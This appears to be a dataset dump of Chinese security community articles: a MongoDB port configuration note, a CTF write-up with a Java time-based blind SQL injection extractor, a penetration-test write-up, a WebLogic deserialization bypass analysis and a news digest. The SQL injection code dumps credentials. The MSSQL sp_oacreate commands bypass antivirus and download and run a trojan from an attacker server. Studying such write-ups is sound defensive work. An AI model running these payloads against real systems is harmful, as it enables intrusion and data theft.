text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
背景：
在企业安全中，比较基础的一块就是：资产漏洞管理；
巡风可以用来做这件事，当然某些地方需要根据自己实际情况修改、增加,这里不赘述；
其数据库为mongo；
在初步使用过程中，为了方便后续的开发，需要使用pycharm集成的mongo可视化插件，
这其中我们遇到了一些"不使用默认端口的坑"，解决过程也很蛋疼，花费了3、4天吧，断断续续，有些东西还是可以记录一下的；（粗浅学习，大佬们一笑而过，能指点一下最好不过）
遇到两个问题：1、无法shell连接数据库，mongo报错，
指定使用的端口也没用
2、pycharm的mongo插件无法连接，mechanism尝试default,报错如下
看到支持的机制，那就尝试MONGODB-CR，这次报错不一样了：认证失败 ；但那里认证失败了呢，不知道。。。
解决：
1、首先搞清
mongo与mongod
要先启动mongod（有d的一般是守护进程，或服务本身），再mongo（连接服务）
2、发现巡风的数据库xunfeng配置时，指定了端口 65521，而不是默认的27017；
而巡风的配置文件Config.py里会写明，所以用巡风的脚本Run.sh启动时，完全没有问题；
但是，如果自己以shell方式要连接mongo时，如果以默认命令 mongo去连接就会报错，认证失败；
那么，就在在启动mongod的时候指定 端口65521来启动，
# mongod --port 65521 --dbpath=/var/lib/mongodb
（或更改mongod的配置文件，并# mongod --config /etc/mongodb.conf 以生效）；
然后去连接mongo 127.0.0.1:65521/xunfeng
成功！
3、pycharm中安装mongo可视化插件时
会提示认证失败，一直找不到原因；
直到通过以上步骤shell连接上数据库，查看用户信息后才发现：
（你说坑不坑，错误提示里是没有的啊，为啥当时没有多试一个；））
在这里选择相应的方式
成功
这里记着要用使修改后的conf生效（但为啥：每次都要指定，或用配置文件启动 ），这样才会连接成功；
总结：
其实就是数据库的服务启动时的问题，
1、没有启动服务
2、在没有使用默认端口的情况下没有指定使用的端口，（配置文件里也没有写）
后续
启动mongod服务的，写在开机启动服务里，并在后台运行 就好；这样不用每次都手动启动
进入 /etc/rc.local
在最后写 启动mongod的命令
mongod --port 65521 --dbpath=/var/lib/mongodb &
（或更改mongod的配置文件，并# mongod --config /etc/mongodb.conf &）；
注：
1、记得写 “空格 &” 以后台形式运行；不然会在引导的时候卡住
2、如果有exit 0，上述命令写在exit 0 的前面；（exit 0 表示退出当前脚本，后续命令不会执行） | 社区文章 |
### 总结：
有关挑战的简要概述，您可以查看以下图像：
下面我将详细介绍我为解决CTF而采取的每一步，以及在某些情况下导致我走向死胡同的所有错误假设。
### Twitter
CTF从这条tweet开始：
这些二进制是什么？
我的第一个想法是尝试解码图像上的二进制。我还注意到在'_'字符后，二进制数字与前面的相同，即：
01111010 01101100 01101001 01100010 00101011 01111000 10011100 01001011 11001010 00101100 11010001 01001011 11001001 11010111 11001111 00110000 00101100 11001001 01001000 00101101 11001010 00000101 00000000 00100101 11010010 00000101 00101001
所以，让我们看看这是否会转换成任何ascii码或可读的内容（python3的环境）
>>> bin_array_image = ['0b01111010', '0b01101100', '0b01101001', '0b01100010', '0b00101011', '0b01111000', '0b10011100', '0b01001011', '0b11001010', '0b00101100', '0b11010001', '0b01001011', '0b11001001', '0b11010111', '0b11001111', '0b00110000', '0b00101100', '0b11001001', '0b01001000', '0b00101101', '0b11001010', '0b00000101', '0b00000000', '0b00100101', '0b11010010', '0b00000101', '0b00101001']
>>> s = ''.join(chr(int(x,2)) for x in bin_array_image)
>>> print(s)
zlib+x�KÊ,ÑKÉ×Ï0,ÉH-Ê� %Ò�)
很好，前五个字符是：zlib +。所以，也许我们应该使用zlib来解压缩剩余的字节。
>>> import zlib
>>> byte_string = bytes([int(x,2) for x in bin_array_image][5:])
>>> print(zlib.decompress(byte_string))
b'bit.do/h1therm'
好。现在我们有一个重定向到Google云端硬盘中的APK文件的网址。我们下载吧。
### APK
作为我的第一步，我使用[JADX](https://github.com/skylot/jadx "JADX")反编译应用程序并开始检查代码：
阅读AndroidManifest.xml我可以找到两个activity类：`com.hackerone.thermostat.LoginActivity`和`com.hackerone.thermostat.ThermostatActivity`
### LoginActivity.class
LoginActivity的核心功能是对用户进行身份验证：
private void attemptLogin() throws Exception {
...
JSONObject jSONObject = new JSONObject();
jSONObject.put("username", username);
jSONObject.put("password", password);
jSONObject.put("cmd", "getTemp");
Volley.newRequestQueue(this).add(new PayloadRequest(jSONObject, new Listener<String>() {
public void onResponse(String str) {
if (str == null) {
LoginActivity.this.loginSuccess();
return;
}
LoginActivity.this.showProgress(false);
LoginActivity.this.mPasswordView.setError(str);
LoginActivity.this.mPasswordView.requestFocus();
}
}));
在`attemptLogin`中，App构建了一个像这样的json对象：`{“username”：“”，“password”：“”，“cmd”：“getTemp”}`然后实例化一个PayloadRequest对象，该对象将被添加到一个Volley
Queue中去处理。那么让我们看看这个类做了什么。
### PayloadRequest.class
public class PayloadRequest extends Request<String> {
public PayloadRequest(JSONObject jSONObject, final Listener<String> listener) throws Exception {
super(1, "http://35.243.186.41/", new ErrorListener() {
public void onErrorResponse(VolleyError volleyError) {
listener.onResponse("Connection failed");
}
});
this.mListener = listener;
this.mParams.put("d", buildPayload(jSONObject));
}
从这里我们可以注意到一个URL
`http://35.243.186.41/`，它可能被用作后端服务器。此外，还有一个名为buildPayload的方法，它将作为d参数的值。
private String buildPayload(JSONObject jSONObject) throws Exception {
SecretKeySpec secretKeySpec = new SecretKeySpec(new byte[]{(byte) 56, (byte) 79, (byte) 46, (byte) 106, (byte) 26, (byte) 5, (byte) -27, (byte) 34, (byte) 59, Byte.MIN_VALUE, (byte) -23, (byte) 96, (byte) -96, (byte) -90, (byte) 80, (byte) 116}, "AES");
byte[] bArr = new byte[16];
new SecureRandom().nextBytes(bArr);
IvParameterSpec ivParameterSpec = new IvParameterSpec(bArr);
Cipher instance = Cipher.getInstance("AES/CBC/PKCS5Padding");
instance.init(1, secretKeySpec, ivParameterSpec);
byte[] doFinal = instance.doFinal(jSONObject.toString().getBytes());
byte[] bArr2 = new byte[(doFinal.length + 16)];
System.arraycopy(bArr, 0, bArr2, 0, 16);
System.arraycopy(doFinal, 0, bArr2, 16, doFinal.length);
return Base64.encodeToString(bArr2, 0);
}
buildPayload方法在CBC模式下使用对称密钥算法[4]（AES），它使用相同的加密密钥来加密明文和解密密文。而且，secretKeySpec是密钥，PKCS＃5是填充方法。因此，我们的json总是被加密发送到后端服务器。此外，还有一种处理响应的方法，称为parseNetworkResponse，它使用相同的算法和密钥。
### ThermostatActivity.class
另一个ActivityClass是`ThermostatActivity`，它两次调用`setTargetTemperature`并更新`thermostatModel`属性。同样使用`LoginActivity`中相同的json对象发送`getTemp`命令，但正如您所看到的，对结果没有做任何事情`（String
str）`
private void setDefaults(final ThermostatModel thermostatModel) throws Exception {
thermostatModel.setTargetTemperature(Integer.valueOf(77));
thermostatModel.setCurrentTemperature(Integer.valueOf(76));
JSONObject jSONObject = new JSONObject();
jSONObject.put("username", LoginActivity.username);
jSONObject.put("password", LoginActivity.password);
jSONObject.put("cmd", "getTemp");
volleyQueue.add(new PayloadRequest(jSONObject, new Listener<String>() {
public void onResponse(String str) {
thermostatModel.setTargetTemperature(Integer.valueOf(70));
thermostatModel.setCurrentTemperature(Integer.valueOf(73));
}
}));
}
### com.hackerone.thermostat.Model.ThermostatModel
分析其他类，我们找到一个带有`setTargetTemperatute`方法的`ThermostatModel`，它给我们另一个命令：`setTemp`。这个新命令的有趣之处在于现在我们有了一个新的json属性`temp`，它是`setTemp`的参数。
public void setTargetTemperature(Integer num) {
this.targetTemperature.setValue(num);
try {
JSONObject jSONObject = new JSONObject();
jSONObject.put("username", LoginActivity.username);
jSONObject.put("password", LoginActivity.password);
jSONObject.put("cmd", "setTemp");
jSONObject.put("temp", num);
ThermostatActivity.volleyQueue.add(new PayloadRequest(jSONObject, new Listener<String>() {
public void onResponse(String str) {
}
}));
} catch (Exception unused) {
}
updateCooling();
}
### Dir Brute
为什么不这样做？我们有一个运行Web服务器的IP，所以让我们看一下今天是否是我们的幸运日，并获得一些唾手可得的结果，找出一个隐藏的端点。使用[FFUF](https://github.com/ffuf/ffuf
"FFUF") ：
./ffuf -u http://35.243.186.41/FUZZ -w wordlists/SecLists/Discovery/Web-Content/big.txt
./ffuf -u http://35.243.186.41/FUZZ -w wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt
没那么容易......
### Creating a Java Application
在初始侦察之后，是时候尝试与后端服务器交互的一些攻击了。为此，我刚刚使用App中的相同源代码创建了一个java应用程序，并进行了少量更改。
public static String sendCommand(String username, String password, String cmd) throws Exception {
return PayloadRequest.sendCommand(username, password, cmd, null);
}
public static String sendCommand(String username, String password, String cmd, String tmp) throws Exception {
JSONObject jSONObject = new JSONObject();
jSONObject.put("username", username);
jSONObject.put("password", password);
jSONObject.put("cmd", cmd);
if( tmp != null) {
jSONObject.put("temp", tmp);
}
return send(jSONObject);
}
public static String send(Object jSONObject) throws Exception {
String payload = PayloadRequest.buildPayload(jSONObject);
URL url = new URL("http://35.243.186.41");
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
Map<String, String> parameters = new HashMap<>();
parameters.put("d", payload);
...
return PayloadRequest.parseNetworkResponse(content.toString());
}
所以我们现在可以使用上面的`sendCommand`方法向后端发送命令。我在这里的第一个猜测是尝试一些SQL注入。但是我们有一些限制，因为服务器只返回“无效的用户名或密码”或“Unknown”。第一条消息出现在没有错误但是用户名和密码不匹配的情况，第二条消息出现在某些东西出错的时候。因为这些限制，我们可以尝试2中方法：基于时间的盲注或者基于错误的盲注。让我们用最简单的payload来尝试基于时间的盲注：
System.out.println(PayloadRequest.sendCommand("'||sleep(10)#", "", ""));
// After 10 seconds ...
// {"success": false, "error": "Invalid username or password"}
### Time Based SQL Injection
什么？我们找到漏洞了吗？上面的payload经过10秒钟才获得响应！这绝对是我的幸运日......我现在能做什么？也许是启动[SQLMap](http://sqlmap.org/
"SQLMap")？不，不！这不够31337（不够专业）！让我们用Java创建自己的SQL盲注exp！首先，我们需要比较两个字符，并根据响应时间确定一个布尔值：True或False。我们可以实现如下：
public static boolean blindBoolean(String payload) throws Exception {
long startTime = System.nanoTime();
PayloadRequest.sendCommand(payload, "", "");
long endTime = System.nanoTime();
long timeElapsed = endTime - startTime;
return (timeElapsed / 1000000) > PayloadRequest.TIME_TO_WAIT * 1000;
}
为了测量响应时间，我们需要获得调用`sendCommand`之前的时间和调用之后的时间，然后把2者相减，再与`TIME_TO_WAIT`相比较，如果所用的时间大于`TIME_TO_WAIT`则为True否则为False。
现在我们需要一个通用的查询模板，它允许我们从数据库中提取数据：
'||(IF((SELECT ascii(substr(column,{1},1)) from table limit {2},1){3}{4},SLEEP({5}),1))#
以及：
{1} -> %d -> 截取第几个字符
{2} -> 行偏移
{3} -> %c -> 比较操作符 ( =, >, <)
{4} -> %d -> ascii码
{5} -> %d -> 睡眠时间
为了提高性能，我们可以使用二分查找法进行基于时间的布尔检查：
public static String blindString(String injection, int len) throws Exception {
StringBuilder value = new StringBuilder("");
for(int c = 1; c <= len; c++) {
int low = 10;
int high = 126;
int ort = 0;
while(low<high) {
if( low-high == 1 ) {
ort = low + 1;
} else if ( low-high == -1 ) {
ort = low;
} else {
ort = (low+high)/2;
}
String payload = String.format(injection, c, '=', ort, PayloadRequest.TIME_TO_WAIT );
if( PayloadRequest.blindBoolean(payload) ) {
value.append( Character.toString( (char) ort));
break;
}
payload = String.format(injection, c, '>', ort, PayloadRequest.TIME_TO_WAIT );
if( PayloadRequest.blindBoolean(payload) ) {
low = ort;
} else {
high = ort;
}
}
}
return value.toString();
}
所有准备看上去都很好那么开始泄漏一些数据：
### Database recon
#### version()
public static String blindVersion() throws Exception {
String injection = "'||(IF((SELECT ascii(substr(version(),%d,1)))%c%d,SLEEP(%d),1))#";
return PayloadRequest.blindString(injection, 25);
}
// 10.1.37-MariaDB
#### database()
public static String blindDatabase() throws Exception {
String injection = "'||(IF((SELECT ascii(substr(database(),%d,1)))%c%d,SLEEP(%d),1))#";
return PayloadRequest.blindString(injection, 25);
}
// flitebackend
#### hostname + datadir
System.out.println(blindString("'||(IF((SELECT ascii(substr(@@hostname,%d,1)))%c%d,SLEEP(%d),1))#", 20));
// hostname: de8c6c400a9f
System.out.println(blindString("'||(IF((SELECT ascii(substr(@@datadir,%d,1)))%c%d,SLEEP(%d),1))#", 30));
// datadir: /var/lib/mysql/
#### Tables
public static String blindTableName(int offset) throws Exception {
String injection = "'||(IF((SELECT ascii(substr(table_name,%d,1)) from information_schema.tables where table_schema=database() limit "+offset+",1)%c%d,SLEEP(%d),1))#";
return PayloadRequest.blindString(injection, 100);
}
...
PayloadRequest.blindTableName(0); // devices
PayloadRequest.blindTableName(1); // users
PayloadRequest.blindTableName(2); // None
在`flitebackend`数据库中找到2张表：`devices`和`users`
#### Read files?
也许我们可以读取一些文件？
System.out.println(blindString("'||(IF((SELECT ascii(substr(load_file('/etc/hosts'),%d,1)))%c%d,SLEEP(%d),1))#", 20));
System.out.println(blindString("'||(IF((SELECT ascii(substr(load_file('/etc/passwd'),%d,1)))%c%d,SLEEP(%d),1))#", 20));
我认为不行。
#### Login
也许你想知道为什么我还没有登录。因为我尝试登录前正在做基于时间的SQL盲注。所以让我们看看我们是否能够使用SQL注入登录：
System.out.println(PayloadRequest.sendCommand("' or 1=1#", "123123", "getTemp"));
// {"success": false, "error": "Invalid username or password"}
嗯，我们需要考虑后端如何进行登录处理：
1.SELECT username, password FROM users WHERE username='+ username_param +' and password = '+ password_param +' ?
2.SELECT password FROM table WHERE username='+ username_param +'; then check password?
对于1来说我们已经知道不是这种情况，因为使用`'or 1=1＃`会给我们一个成功的消息。对于2来说我们需要另一个测试，首先，让我们检查一次查询有多少列。
System.out.println(PayloadRequest.sendCommand("' order by 1#", "", "getTemp"));
// {"success": false, "error": "Invalid username or password"}.
System.out.println(PayloadRequest.sendCommand("' order by 2#", "", "getTemp"));
// {"success": false, "error": "Unknown"}
好的，基于错误消息，我们可以确认查询中只有一列。因此，我们可以尝试使用UNION伪造成功的查询：
System.out.println(PayloadRequest.sendCommand("' union all select ''#", "", "getTemp"));
// {"success": false, "error": "Invalid username or password"}
还是不行，看样子有一些其他的东西，退一步，让我们dump所有的用户表。
#### users table
首先，我们需要知道表结构。为了方便这个过程，我创建了一个名为blindColumnName的方法，它有两个参数：table和offset。这个方法会dump所有来自`table`指定的表的所有列名。
public static String blindColumnName(String table, int offset) throws Exception {
String injection = "'||(IF((SELECT ascii(substr(column_name,%d,1)) from information_schema.columns where table_name='"+table+"' and table_schema = database() limit "+offset+",1)%c%d,SLEEP(%d),1))#";
return PayloadRequest.blindString(injection, 100);
}
...
PayloadRequest.blindColumnName("users",0); // id
PayloadRequest.blindColumnName("users",1); // username
PayloadRequest.blindColumnName("users",2); // password
PayloadRequest.blindColumnName("users",3); // None
表结构`users(id, username, password)`
#### devices table
和上面的处理相同适用于`devices`表。
PayloadRequest.blindColumnName("devices",0); // id
PayloadRequest.blindColumnName("devices",1); // ip
PayloadRequest.blindColumnName("devices",2); // None
表结构`devices(id, ip)`
#### Dumping
知道了表结构，我们可以dump值：
public static String blindUsername(int offset) throws Exception {
String injection = "'||(IF((SELECT ascii(substr(username,%d,1)) from users limit "+offset+",1)%c%d,SLEEP(%d),1))#";
return PayloadRequest.blindString(injection, 5);
}
PayloadRequest.blindUsername(0); // admin
PayloadRequest.blindUsername(1); // None
public static String blindColumnUsersValues(String column, int length) throws Exception {
String injection = "'||(IF((SELECT ascii(substr("+column+",%d,1)) from users where username = 'admin')%c%d,SLEEP(%d),1))#";
return PayloadRequest.blindString(injection, length);
}
public static String blindPassword() throws Exception {
return PayloadRequest.blindColumnUsersValues("password", 32);
}
PayloadRequest.blindPassword(); // 5f4dcc3b5aa765d61d8327deb882cf99
只有一个用户（“admin”，“5f4dcc3b5aa765d61d8327deb882cf99”）。这是哈希吗？用Google搜索它并找到答案，是的：`md5('password')`。现在我们可以使用admin：password或甚至使用sqli登录：
System.out.println(PayloadRequest.sendCommand("admin", "password", "getTemp"));
// {"temperature": 73, "success": true}
System.out.println(PayloadRequest.sendCommand("' union all select '47bce5c74f589f4867dbd57e9ca9f808'#", "aaa", "getTemp"));
// {"temperature": 73, "success": true}
是时候dump表`devices`的数据了。
public static String blindIpDevices(int offset) throws Exception {
String injection = "'||(IF((SELECT ascii(substr(ip,%d,1)) from devices limit "+offset+",1)%c%d,SLEEP(%d),1))#";
return PayloadRequest.blindString(injection, 16); // Fixed length
}
...
PayloadRequest.blindIpDevices(0);
// Device: 0 192.88.99.253
PayloadRequest.blindIpDevices(1);
// Device: 1 192.88.99.252
PayloadRequest.blindIpDevices(2);
// Device: 2 10.90.120.23
在获得几个ips后，我注意到大多数都属于私有IP地址。我的第一个想法是构建一个移除所有私有IP地址的查询（参见where子句）：
public static String blindDeviceQuery() throws Exception {
String injection = "'||(IF((SELECT ascii(substr(ip,%d,1)) from devices where substr(ip,1,2) not in ('24', '25') and substr(ip,1,3) not in ('192', '10.', '198') limit 0,1)%c%d,SLEEP(%d),1))#";
return PayloadRequest.blindString(injection, 16);
}
PayloadRequest.blindDeviceQuery();
// 104.196.12.98
太好了！一个真实的IP地址。
[原文链接](https://github.com/manoelt/50M_CTF_Writeup#login "原文链接") | 社区文章 |
漏洞挖掘
在一次渗透测试过程中，对主站进行漏洞挖掘无果后，对子站进行挖掘。
在子站发现mssql注入漏洞
Getshell
一、发现360
用1=(select
is_srvrolemember('sysadmin'))和host_name()!=@@servername判断出权限为sa权限，且站库分离，写不了webshell。然后用sqlmap跑os-shell，发现执行命令无效。
使用EXEC sp_configure 'show advanced options',1 RECONFIGURE EXEC sp_configure
'xp_cmdshell',1 RECONFIGURE;尝试开启xp_cmdshell依旧无效。
用create table tmp(dir ntext,num int)创建表，然后用insert tmp execute
master..xp_dirtree 'c:/',1将c盘目录插入表中，查看表发现360，之前命令都被360拦截了。
二、绕过360上线CS
经过上网搜索之后，发现可以用sp_oacreate执行命令。
开启sp_oacreate：
exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
构造命令语句，因为使用sp_oacreate执行命令是无回显的，使用dnslog平台进行判断：
Declare @runshell INT Exec SP_OACreate 'wscript.shell',@runshell out Exec SP_OAMeTHOD @runshell,'run',null,'ping who.xxxx.dnslog.cn';
但是使用certutil.exe，wmic，mshta等任然无效
利用sp_oacreate构造语句，将certutil.exe复制到c:\windows\temp\下，并重命名为sethc.exe：
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'C:\Windows\System32\certutil.exe' ,'c:\windows\temp\sethc.exe';
在服务器上用python开启http服务，然后使用命令远程下载exe文件：
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\Temp\sethc.exe -urlcache -split -f "http://ip:port/shell.exe" C:\Windows\Temp\shell.exe'
木马是传上去了，但是运行不了。。。。
最后请教Se10rc大佬，可以用forfiles /c test.exe，既：
Declare @runshell INT Exec SP_OACreate 'wscript.shell',@runshell out Exec SP_OAMeTHOD @runshell,'run',null,'forfiles /c shell.exe';
上线成功，感谢Se10rc大佬
参考链接：
<https://github.com/doubleshuaibi/MssqlSeckill>
<https://blog.csdn.net/sandy9919/article/details/82932460>
<https://zhuanlan.zhihu.com/p/31111348>
<https://blog.csdn.net/sircoding/article/details/78681016>
<https://my.oschina.net/u/4396523/blog/3501613> | 社区文章 |
## 0x00 前言
续上篇文的初探weblogic的T3协议漏洞，再谈CVE-2016-0638， CVE-2016-0638是基于 CVE-2015-4852漏洞的一个绕过。
[Java安全之初探weblogic T3协议漏洞](https://www.cnblogs.com/nice0e3/p/14201884.html)
## 0x01 环境搭建
### 补丁环境搭建
这里采用上次的weblogic环境，但是在这里还需要打一个补丁包，来修复 CVE-2015-4852漏洞后，对该漏洞进行一个绕过。
CVE-2015-4852的修复补丁为`p21984589_1036_Generic`,由于在互联网上并没有找到该补丁包，只能通过官网下载，官网下载需要购买对应的服务，所以在这里找了`p20780171_1036_Generic`和`p22248372_1036012_Generic`这两个补丁包，`p21984589_1036_Generic`是前面这两个补丁包的集成。
因为前面搭建是docker的环境，需要将这两个补丁包上传到docker镜像里面去，然后进行安装。
命令整理：
docker cp ../p20780171_1036_Generic weblogic1036jdk7u21:/p20780171_1036_Generic
docker cp ../p22248372_1036012_Generic weblogic1036jdk7u21:/p22248372_1036012_Generic
docker exec -it weblogic1036jdk7u21 /bin/bash
cd /u01/app/oracle/middleware/utils/bsu
mkdir cache_dir
vi bsu.sh 编辑MEM_ARGS参数为1024
cp /p20780171_1036_Generic/* cache_dir/
./bsu.sh -install -patch_download_dir=/u01/app/oracle/middleware/utils/bsu/cache_dir/ -patchlist=EJUW -prod_dir=/u01/app/oracle/middleware/wlserver/
cp /p22248372_1036012_Generic/* cache_dir/
./bsu.sh -install -patch_download_dir=/u01/app/oracle/middleware/utils/bsu/cache_dir/ -patchlist=ZLNA -prod_dir=/u01/app/oracle/middleware/wlserver/ –verbose
重启weblogic服务。
/u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh
这里看到weblogic
2015-4852的payload打过去，并没有像以往一样，创建一个文件。那么就说明补丁已经打上了，已经能够修复该漏洞了。这里是切换了JDK7u21和cc1的利用链依旧没打成功。
### 远程调试
接下来还是需要将里面的依赖包给拷一下。
mkdir wlserver1036
mkdir coherence_3.7
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./wlserver1036
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver/server/lib ./wlserver1036
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
下面来对该补丁进行一个绕过。
## 0x02 补丁分析
补丁作用位置：
weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
在分析漏洞前，先来看到一下，上一个漏洞点的补丁是怎么进行修复的。
在这其实看到该`resolveClass`方法的位置，前面加多一个判断。
前面判断className是否为空，ClassName的长度是否为零，但是重点是`ClassFilter.isBlackListed`方法。
这里先打一个 CVE-2015-4852 exp过来,在该位置打个断点，跟踪进该方法，查看怎么进行防护。
跟进进来后，先别急着看后面的，因为下面还有一个静态代码块，静态代码块中代码优先执行，需要先来查看静态代码块内容。
这里前面有两个判断，判断中都调用了两个方法，来看看这两个方法的实现。
一个是判断是否为`weblogic.rmi.disableblacklist`，一个是判断是否为`weblogic.rmi.disabledefaultblacklist`,写法有点奇怪，可能是因为是class文件的缘故。
这两个判断为true的话，就会执行来到下一步调用`updateBlackList`将后面的一系列黑名单的类传入到里面去。
`updateBlackList`该方法从名字得知，就是一个黑名单列表添加的一个方法，将黑名单内容添加到一个`HashSet`里面去。查看具体实现。
StringTokenizer 构造方法：为指定的字符串构造一个字符串tokenizer。
hasMoreTokens方法：返回与 `hasMoreTokens`方法相同的值。
nextToken 方法：返回此字符串tokenizer字符串中的下一个令牌。
总体的来理解就是构造一个字符串，然后遍历里面的值，然后调用`processToken`方法将该值传递进去。
再来看到`processToken`方法。
里面判断如果开头是`+`号,则截取第一位后面的值添加到黑名单的这个HashSet里面去。如果是`-`号则移除，如果开头不是前面的`+`
`-`号则直接添加到黑名单里面去。
到这里静态代码块就已经分析完成了，总的来说其实就是将一些危险的类，添加到了黑名单里的一个步骤。
黑名单列表为：
+org.apache.commons.collections.functors,
+com.sun.org.apache.xalan.internal.xsltc.trax,
+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,
+org.codehaus.groovy.runtime.ConversionHandler,
+org.codehaus.groovy.runtime.MethodClosure
返回刚刚的`ClassFilter.isBlackListed`方法进行跟踪
最后这里调用了`contains`方法判断 这个pkgName存不存在黑名单中，存在的话这里返回true。
返回到`resolveClass`方法可以看到这里为true，就会直接抛异常。
如果不存在于黑名单中，会来到else这个分支的代码块中调用父类的`resolveClass`方法。
而这一个点，只是过滤的一个点，下面来看看过滤的点都有哪些。
再来看下一个点`MsgAbbrevInputStream`的位置
这里也是调用`ClassFilter.isBlackListed`方法进行过滤，和前面的是一样的。以此类推。
## 0x03 工具分析
在CVE-2016-0638里面用到了weblogic_cmd工具，[github地址](https://github.com/5up3rc/weblogic_cmd)。
下面来看看该工具的实现，再谈漏洞的绕过方式。
下载该源码后，导入IDEA中，配置命令参数。
这里如果报错找不到sun.tools.asm包的话，需要将Tools.jar包手动添加一下。在这我是使用jdk1.6进行执行的，使用1.8版本会找不到`sun.org.mozilla.javascript.internal.DefiningClassLoader`类
在Main的类中打个断点进行执行。
前面都是代码都是进行一个配置，这里断点选择落在该方法中。
选择跟踪
继续跟踪`WebLogicOperation.blindExecute`方法。
前面判断了服务器类型，重点在`SerialDataGenerator.serialBlindDatas`方法中，payload由该方法进行生成。跟进查看一下该方法如何生成payload。
在这先选择跟踪`blindExecutePayloadTransformerChain`方法。
在这里又看到了熟悉的面孔，CC链的部分代码。
回到刚刚的地方，跟踪`serialData`方法
在这里就看到了CC链后面的一段代码，这组合成了一条CC1利用链。但是在后面调用了`BypassPayloadSelector.selectBypass`方法来处理在原生的利用链中本该直接进行序列化的对象。
跟进该方法进行查看。
这里面还会去调用`Serializables.serialize`，依旧先跟踪最里层的方法。
这传入一个obj对象和out对象，进行了序列化操作。然后将序列化后的数据写到out对象中。
执行完成后，返回上一个点，刚才分析得知返回的是序列化后的数据。所以在处调用`streamMessageImpl`方法传递的参数也是序列化的数据。
跟踪查看。
内部是new了一个`weblogic.jms.common.StreamMessageImpl`的实例，然后调用`setDataBuffer`方法将序列化后的对象和序列化后的长度传递进去。
执行完这步后，回到这个地方
后面的这个方法是进行序列化操作的，这里又对 `streamMessageImpl`的实例对象进行了一次序列化。该方法在前面查看过了，这里就不跟进去看了。
而最后来到了这里。
而后面这个方法就是构造特定的数据包，使用T3协议发送payload。
## 0x04 漏洞分析
那么如果需要绕过的话，我们需要找一个类，他的类在内部的`readObject`方法创建了自己的`InputStream`的对象,但是又不能为黑名单里面过滤掉的`ServerChannelInputStream`和`MsgAbbrevInputStream`里面的`readObject`方法。然后调用该`readObject`
方法进行反序列化，这时候就可以达成一个绕过的效果。
在师傅们的挖掘中寻找到了`weblogic.jms.common.StreamMessageImpl#readExternal()`，`StreamMessageImpl`类中的`readExternal`方法可以接收序列化数据作为参数，而当`StreamMessageImpl`类的`readExternal`执行时，会反序列化传入的参数并调用该参数反序列化后对应类的这个`readObject`方法。
绕过原理如下：
将反序列化的对象封装进了 StreamMessageImpl，然后再对 StreamMessageImpl 进行序列化，生成 payload 字节码。反序列化时 StreamMessageImpl 不在 WebLogic 黑名单里，可正常反序列化，在反序列化时 StreamMessageImpl 对象调用 readObject 时对 StreamMessageImpl 封装的序列化对象再次反序列化，这样就逃过了黑名单的检查。
在此先再来思考一个问题，`weblogic.jms.common.StreamMessageImpl#readExternal()`该方法是怎么被调用的呢？在前面分析原生`readObject`方法的时候发现，其实`readObject`方法的底层还会去调用很多其他方法。
在Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后，程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法。而在这里`readExternal`就会被调用。
那么下面来调试分析一下该漏洞。
还是先在`weblogic.rjvm.InboundMsgAbbrev#ServerChannelInputStream.resolveClass`地方打个断点，然后使用weblogic_cmd工具打一个payload过去，先来查看一下传输过来的数据。
这里可以看到获取到的ClassName是`weblogic.jms.common.StreamMessageImpl`的对象，而不在再是`AnnotationInvocationHandler`对象。`StreamMessageImpl`不在黑名单中，这里的判断不会进行抛异常。
下个断点直接落在`StreamMessageImpl.readExternal`中跟踪一下。
看到调用栈这里就应验了我们前面所提到的关于`StreamMessageImpl.readExternal`调用问题。
这里的var4为正常反序列化后的数据，而后面会new一个`ObjectInputStream`类传递var4参数进去。然后再调用`readObject`方法
执行完这一步后，命令就已经执行成功。后面的是对CC链执行命令的一个基本认知，在此不做赘述。
### 参考文章
https://xz.aliyun.com/t/8443#toc-6
https://www.anquanke.com/post/id/224343#h3-6
## 0x05 结尾
其实摸清楚补丁的一个套路过后，再去基于补丁分析后面的漏洞会比较清晰。因为补丁无非就是再从ClassFilter里面添加黑名单列表，这也是为什么weblogic修修补补又爆洞的原因，并没有从根本原因去进行修复。如有不对的地方，望师傅们指出。 | 社区文章 |
# 【知识】5月16日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： nmap发布检测smb-vuln-ms17-010的脚本、利用Google
chrome窃取windows凭证、通过IE11浏览器跨域窃取csv的信息、上周windows杀毒引擎的RCE的详细分析、Empire
2.0最终版发布、XML vs. JSON: 常见用法和安全性比较、The STRESS(Search Text RElevance Score Side-channel) Attack** ****
**
**
**资讯类：**
* * *
维基解密公布CIA Windows恶意软件框架“午夜之后”和“刺客”
<http://thehackernews.com/2017/05/windows-malware-framework.html>
iOS 10.3.2正式版发布更新修复bug和提升安全性
<https://support.apple.com/zh-cn/HT201222>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
nmap发布检测smb-vuln-ms17-010的脚本
<https://github.com/cldrn/nmap-nse-scripts/blob/master/scripts/smb-vuln-ms17-010.nse>
Metasploit下ms17_010_eternalblue exp
<https://github.com/RiskSense-Ops/MS17-010/blob/master/exploits/eternalblue/ms17_010_eternalblue.rb>
利用Google chrome窃取windows凭证
